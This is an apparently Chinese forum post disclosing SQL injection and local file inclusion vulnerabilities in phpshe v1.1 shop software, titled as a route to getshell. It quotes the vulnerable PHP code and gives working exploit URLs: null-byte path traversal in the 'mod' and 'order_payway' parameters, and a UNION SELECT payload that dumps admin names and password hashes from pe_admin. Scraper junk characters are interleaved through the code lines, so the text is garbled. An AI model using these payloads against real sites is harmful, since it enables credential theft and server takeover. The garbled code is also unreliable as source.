找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2312|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
$ [: e1 ]6 D6 R$ N7 f7 O/* Phpshe v1.1 Vulnerability
3 B* p8 B( O  d; e/* ========================
0 m! F$ j  H5 k$ F# `% j/* By: : Kn1f3
& z8 g: E6 E1 h/* E-Mail : 681796@qq.com
  X. n4 ~( [/ h" ~! c/*******************************************************/' e$ Q6 c' O: Q$ y7 m/ b) y
0×00 整体大概参数传输3 x3 Y+ C: V! U& P% r) P
: I0 }0 \. ~6 @( [! r
( W8 F8 i6 N3 O/ Y
8 G, c; g3 l6 q- ?
//common.php
9 i: ^+ w8 w9 J5 C% oif (get_magic_quotes_gpc()) {
+ w. w4 }- u7 e!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');, R! ~, d8 ]4 ^+ l3 }% e3 h0 P
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
4 ~0 G. U2 H+ ~% H# c, s6 Y}
" d6 l( ?) Y* k4 Y: A6 T+ r! y! yelse {
! b2 R3 L7 O3 ~3 x. ]- _  H!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');( I% \' x+ N, g" f4 z* i1 x
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
' E* C+ d6 j% s" N, _  t}
' ]: L8 y. x' {2 ?) T( w. vsession_start();4 e+ D2 X. R+ f
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
: r. F4 o0 Q  ?* U, z. i7 M5 D- W3 ~!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');3 G5 [2 m/ l, U' q' P( B

: r: m2 b) W8 Q0×01 包含漏洞8 }& J- }3 u- t8 _/ m  |/ w  M
, o, T! R5 N3 z9 R4 Z7 C
' @( G9 g- \$ H/ w: Y4 M
//首页文件2 G% F  X3 K- X8 u
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
+ A% d$ [, ]3 g8 ^0 x2 O( Pinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
# ], u1 t* t6 S( j/ n+ Kpe_result();
& g7 c- @6 z* r9 J( P/ Y6 @?>: m: w4 y. j# G8 W  G% m6 c
//common 文件 第15行开始
8 |/ S4 O! I" durl路由配置
8 T/ ]6 P; t; Z$ C8 d( H/ x4 b% H$module = $mod = $act = 'index';2 l! R7 [! Z# {: I" Z/ m8 c( n
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
8 }8 E: Y0 z- K+ B$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);- I8 D1 `$ ?1 L+ t& U7 w
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);% l! f# {; [" i9 k% V
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
$ [* h# @7 Q# ^

5 F3 p9 Y/ H6 V2 j4 b6 h+ R

4 [( Z: f4 c* i- Y6 V9 c1 v% I1 h+ B 0×02 搜索注入  v& f0 i% f3 u' j  B
! b% {3 z) n% Q, a" n. B$ [" {# R6 T
<code id="code2">

//product.php文件
2 o: Z4 E$ v) c4 rcase 'list':
+ L$ c7 `) ^* K1 b; ], }$category_id = intval($id);5 H' P7 D2 N+ l/ w% Q% o
$info = $db->pe_select('category', array('category_id'=>$category_id));
. h' r( a  F. P+ a' I//搜索: H. i; o3 f8 N$ Y
$sqlwhere = " and `product_state` = 1";! C# Y+ u& V  u. j2 L
pe_lead('hook/category.hook.php');
. M8 X5 _7 \' \. @" xif ($category_id) {2 w7 i2 U1 d8 k$ D1 k+ q
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
$ }* o* C) n0 n6 l}0 g" t, R3 I( w" z9 E  J
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤: Y& ^3 n5 K# {2 G$ B5 c
if ($_g_orderby) {
* Z% a- w! s+ j# K& z- ?$ [+ S! N$orderby = explode('_', $_g_orderby);
# @* N5 z4 j9 A$ z: H- @! S$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
: `  I0 n5 Q+ F5 u5 ^. D}
: r; i# @# a0 A7 X+ ?$ relse {
0 @+ j0 v) q$ g3 `# k4 p1 J$sqlwhere .= " order by `product_id` desc";
: N, x; q$ w( c! G}
* l6 a9 J; g( y2 }. P1 N$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
4 s2 R9 N6 f; B" h. o//热卖排行/ l9 m1 ]! J9 I7 i- }( Z( J' |6 U
$product_hotlist = product_hotlist();
) i3 }) ]5 y! w5 ~* g3 ?//当前路径
" g3 {9 C% y9 E) Q& R$nowpath = category_path($category_id);
: Z+ c- W; U1 l- T* c+ v$seo = pe_seo($info['category_name']);
# B0 n) s1 z, k2 |- d/ l+ Sinclude(pe_tpl('product_list.html'));
! q. ]" q' }8 f8 b1 }, `//跟进selectall函数库1 D' r; i0 E% O# I' t# I, Z; ?' W
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
7 l% @5 P2 h% Z/ ]( n- h6 ~0 b{6 P+ K! \" B) x% ]0 x7 @* v
//处理条件语句
, o8 [# u+ O$ Q" O$sqlwhere = $this->_dowhere($where);* u9 h0 {6 I" c4 w! ~9 _/ o- t
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
( J3 U2 m7 Q6 T. Q}* `8 c$ q0 s& P4 v
//exp2 n! A3 N$ g! Q# ]' c3 ^
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
/ m3 b# |! e4 P1 D6 X

</code>  a8 d1 H% b% @9 k( [
3 w; X. e" R3 a+ ]1 ~# W3 l
0×03 包含漏洞2
. X; @% K) ~  b/ p, c: S5 q
7 e; `" a( V& x% @5 \<code id="code3">

//order.php

case 'pay':


+ R. Z" c$ Q( ]. ]8 n- S, l$order_id = pe_dbhold($_g_id);


! E" ~" T/ H; e; y  n$cache_payway = cache::get('payway');


( s& b! @, ]( s5 x, L/ F& ?' X, oforeach($cache_payway as $k => $v) {

/ X# G# ]7 ^) ?9 ?% @9 `
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

# z! f7 {. ?: K5 U
if ($k == 'bank') {


: u/ \+ N3 \, @) P$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

% A, N; L0 Q0 |; S  d
}

9 \. }. s  e! r9 j
}

: V$ J) k/ W" h; K
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


$ ^6 z0 m& @2 T7 Z!$order['order_id'] && pe_error('订单号错误...');

" ?  [; V8 h. d& p6 E, m
if (isset($_p_pesubmit)) {

# _7 D& J1 ~2 @6 p
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

- c0 X- J$ g' J$ y5 [4 m5 Z8 z+ E
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

$ U6 A: _9 }" e" y
foreach ($info_list as $v) {


0 m0 i+ h5 Q9 N$order['order_name'] .= "{$v['product_name']};";: a6 W; s7 ]7 w/ s; [


: T$ K$ ?6 H# v/ x8 W1 o3 C9 c4 D}

$ @# O, B1 z. T) r
echo '正在为您连接支付网站,请稍后...';


& H0 \3 C$ y% T7 Binclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


5 n1 ?/ ?1 E: O% `, {0 C}//当一切准备好的时候就可以进行"鸡肋包含了"


, ]5 F; _% t7 x% z+ Y# P; a, felse {

1 F) V9 o5 ~: p% s. V2 O9 d9 D
pe_error('支付错误...');

& Q% r; t; m. r' _* \" m2 y
}

( J% p5 e; v' g# g# K
}

* G: I) c% a8 Z7 Y* ?* D7 t
$seo = pe_seo('选择支付方式');

% [2 c7 J) I( w( y* `3 \  G* u5 e
include(pe_tpl('order_pay.html'));


, ~3 y5 ^8 Z* e, h; lbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>1 E$ C1 U. h& S, }1 l9 ?' K

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表